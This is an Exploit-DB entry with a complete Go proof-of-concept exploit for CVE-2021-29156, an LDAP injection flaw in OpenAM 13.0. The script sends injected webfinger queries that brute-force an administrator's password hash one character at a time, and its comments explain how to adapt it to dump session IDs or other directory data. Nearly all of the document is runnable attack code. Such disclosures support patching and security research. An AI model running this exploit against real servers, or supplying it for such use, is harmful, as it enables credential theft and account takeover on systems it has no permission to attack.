OpenAM 13.0 - LDAP Injection

EDB-ID:

50480




Platform:

Java

Date:

2021-11-03


# Exploit Title: OpenAM 13.0 - LDAP Injection
# Date: 03/11/2021
# Exploit Author: Charlton Trezevant, GuidePoint Security
# Vendor Homepage: https://www.forgerock.com/
# Software Link: https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/13.0.0,
# https://backstage.forgerock.com/docs/openam/13/install-guide/index.html#deploy-openam
# Version: OpenAM v13.0.0
# Tested on: go1.17.2 darwin/amd64
# CVE: CVE-2021-29156
# 
# This vulnerability allows an attacker to extract a variety of information
# (such as a user’s password hash) from vulnerable OpenAM servers via LDAP
# injection, using a character-by-character brute force attack.
# 
# https://github.com/guidepointsecurity/CVE-2021-29156
# https://nvd.nist.gov/vuln/detail/CVE-2021-29156
# https://portswigger.net/research/hidden-oauth-attack-vectors

package main

// All of these dependencies are included in the standard library.
import (
	"container/ring"
	"fmt"
	"math/rand"
	"net/http"
	"net/url"
	"sync"
	"time"
)

func main() {
	// Base URL of the target OpenAM instance
	baseURL := "http://localhost/openam/"

	// Local proxy (such as Burp)
	proxy := "http://localhost:8080/"

	// Username whose hash should be dumped
	user := "amAdmin"

	// Configurable ratelimit
	// This script can go very, very fast. But it's likely that would overload Burp and the target server.
	// The default ratelimit of 6 can retrieve a 60 character hash through a proxy in about 5 minutes and
	// ~1700 requests.
	rateLimit := 6

	// Beginning of the LDAP injection payload. %s denotes the position of the username.
	payloadUsername := fmt.Sprintf(".well-known/webfinger?resource=http://x/%s)", user)
	partURL := fmt.Sprintf("%s%s", baseURL, payloadUsername)

	// Your LDAP injection payloads. %s denotes the position at which the constructed hash + next test character
	// will be inserted.
	// These are configured to dump password hashes. But you can reconfigure them to dump other data, such as
	// usernames/session IDs/etc depending on your use case.
	// N.B. you will likely need to update the brute-forcing keyspace depending on the data you're trying to dump.
	testCharPayload := "(sunKeyValue=userPassword=%s*)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer"
	testCrackedPayload := "(sunKeyValue=userPassword=%s)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer"

	// The keyspace for brute-forcing individual characters is stored in a ringbuffer
	// You may need to change how this is initialized depending on the types of data you're
	// trying to retrieve. By default, this is configured for password hashes.
	dict := makeRing()

	// Working characters for each step are concatenated with this string. Further tests are conducted
	// using this value as it's built.
	// Importantly, if you already have part of the hash you can put it here as a crib. This allows you
	// to resume a previous brute-forcing session.
	password := ""

	proxyURL, _ := url.Parse(proxy)

	// You can modify the HTTP client configuration below.
	// For example, to disable the HTTP proxy or set a different
	// request timeout value.
	client := &http.Client{
		Transport: &http.Transport{
			Proxy: http.ProxyURL(proxyURL),
		},
		Timeout: 30 * time.Second,
	}

	// Channels used for internal signaling
	cracked := make(chan string, 1)
	foundChar := make(chan string, 1)

	wg := &sync.WaitGroup{}
	wg.Add(1)

	// All hacking tools need a header. You may experience a 10-15x performance improvement
	// if you replace the flower-covered header with the gothic bleeding/flaming/skull-covered
	// ASCII art typical of these kinds of tools.
	printHeader()

loop:
	for {
		select {
		case <-cracked:
			// Full hash test succeeds, terminate everything
			// N.B. this feature does not work, see my comments on checkCracked.
			fmt.Printf("Cracked! Password hash is: \"%s\"\n", password)
			wg.Done()
			break loop

		case char := <-foundChar:
			// In the event that a test character succeeds, that thread will pass it along in the
			// foundChar channel to signal success. It's then concatenated with the known-good
			// password hash and the whole thing is tested in a query
			// This doesn't work because OpenAM doesn't respond to direct queries containing the password hash
			// in the manner I expect. But it might still work for other types of data.
			password += char
			fmt.Printf("Progress so far: '%s'\n", password)

			// Forgive these very ugly closures
			go (func(client *http.Client, url, payload *string, password string, cracked *chan string) {
				// Add random jitter before submitting request
				time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond)
				time.Sleep(1 * time.Second)
				checkCracked(client, url, payload, &password, cracked)
			})(client, &partURL, &testCharPayload, password, &cracked)

		default:
			for i := 0; i < rateLimit-1; i++ {
				testChar := dict.Value.(string)
				go (func(client *http.Client, url, payload *string, password, testChar string, foundChar *chan string) {
					time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond)
					time.Sleep(1 * time.Second)
					getChar(client, url, payload, &password, &testChar, foundChar)
				})(client, &partURL, &testCrackedPayload, password, testChar, &foundChar)
				dict = dict.Next()
			}

			time.Sleep(1 * time.Second)
		}
	}

	wg.Wait()
}

// checkCracked tests a complete string in a query against the OpenAM server to
// determine whether the exact, full hash has been retrieved.
// This doesn't actually work, because the server doesn't respond as I'd expect
// A better implementation would probably watch until all positions in the ringbuffer
// are exhausted in testing and terminate (since there's no way to progress further)
func checkCracked(client *http.Client, targetURL, payload, password *string, cracked *chan string) {
	fullPayload := fmt.Sprintf(*payload, url.QueryEscape(*password))
	fullURL := fmt.Sprintf("%s%s", *targetURL, fullPayload)

	req, err := http.NewRequest("GET", fullURL, nil)
	if err != nil {
		fmt.Printf("checkCracked: %s", err.Error())
		return
	}

	res, err := client.Do(req)
	if err != nil {
		fmt.Printf("checkCracked: %s", err.Error())
		return
	}

	if res.StatusCode == 200 {
		*cracked <- *password
		return
	}

	if res.StatusCode == 404 {
		return
	}

	fmt.Printf("checkCracked: got status code of %d for payload %s", res.StatusCode, payload)
}

// getChar tests a given character at the end position of the configured payload and dumped hash progress.
func getChar(client *http.Client, targetURL, payload, password, testChar *string, foundChar *chan string) {
	// Concatenate test character -> password -> payload -> attack URL
	combinedPass := url.QueryEscape(fmt.Sprintf("%s%s", *password, *testChar))
	fullPayload := fmt.Sprintf(*payload, combinedPass)
	fullURL := fmt.Sprintf("%s%s", *targetURL, fullPayload)

	req, err := http.NewRequest("GET", fullURL, nil)
	if err != nil {
		fmt.Printf("getChar: %s", err.Error())
		return
	}

	res, err := client.Do(req)
	if err != nil {
		fmt.Printf("getChar: %s", err.Error())
		return
	}

	if res.StatusCode == 200 {
		*foundChar <- *testChar
		return
	}

	if res.StatusCode == 404 {
		return
	}

	fmt.Printf("getChar: got status code of %d for payload %s", res.StatusCode, payload)
}

// makeRing instantiates a ringbuffer and initializes it with test characters common in base64
// and password hash encodings.
// Bruteforcing on a character-by-character basis can only go as far as your dictionary will take
// you, so be sure to update these strings if the keyspace for your use case is different.
func makeRing() *ring.Ring {
	var upcase string = `ABCDEFGHIJKLMNOPQRSTUVWXYZ`
	var lcase string = `abcdefghijklmnopqrstuvwxyz`
	var num string = `1234567890`
	var punct string = `$+/.=`

	var dictionary string = upcase + lcase + num + punct

	buf := ring.New(len(dictionary))

	for _, c := range dictionary {
		buf.Value = fmt.Sprintf("%c", c)
		buf = buf.Next()
	}

	return buf
}

// printHeader is cool.
func printHeader() {
	fmt.Printf(`

											    _______  ,---.  ,---.   .-''-.   
											   /   __  \ |   /  |   | .'_ _   \  
											  | ,_/  \__)|  |   |  .'/ ( ' )   ' 
											,-./  )      |  | _ |  |. (_ o _)  | 
											\  '_ '')    |  _( )_  ||  (_,_)___| 
											 > (_)  )  __\ (_ o._) /'  \   .---. 
											(  .  .-'_/  )\ (_,_) /  \  '-'    / 
											 '-''-'     /  \     /    \       /  
											   '._____.'    '---'      ''-..-'   
                                     
    .'''''-.   .-'''''''-.     .'''''-.     ,---.                 .'''''-.    .-''''-.    ,---. ,--------.    .------.  .---.  
   /   ,-.  \ / ,'''''''. \   /   ,-.  \   /_   |                /   ,-.  \  /  _ _   \  /_   | |   _____|   /  .-.   \ \   /  
  (___/  |   ||/ .-./ )  \|  (___/  |   |    ,_ |               (___/  |   ||  ( ' )  |    ,_ | |  )        /  /   '--' |   |  
        .'  / || \ '_ .')||        .'  / ,-./  )|   _ _    _ _        .'  / | (_{;}_) |,-./  )| |  '----.   |  .----.    \ /   
    _.-'_.-'  ||(_ (_) _)||    _.-'_.-'  \  '_ '') ( ' )--( ' )   _.-'_.-'  |  (_,_)  |\  '_ '')|_.._ _  '. |   _ _  '.   v    
  _/_  .'     ||  / .  \ ||  _/_  .'      > (_)  )(_{;}_)(_{;}_)_/_  .'      \        | > (_)  )   ( ' )   \|  ( ' )   \ _ _   
 ( ' )(__..--.||  '-''"' || ( ' )(__..--.(  .  .-' (_,_)--(_,_)( ' )(__..--.  '----'  |(  .  .-' _(_{;}_)  || (_{;}_)  |(_I_)  
(_{;}_)      |\'._______.'/(_{;}_)      | '-''-'|             (_{;}_)      |  .--. /  / '-''-'| |  (_,_)  / \  (_,_)  /(_(=)_) 
 (_,_)-------' '._______.'  (_,_)-------'   '---'              (_,_)-------'  )_____.'    '---'  '...__..'   '...__..'  (_I_)  

 				~ ~ (c) 2021 GuidePoint Security - charlton.trezevant@guidepointsecurity.com ~ ~
  
`)
}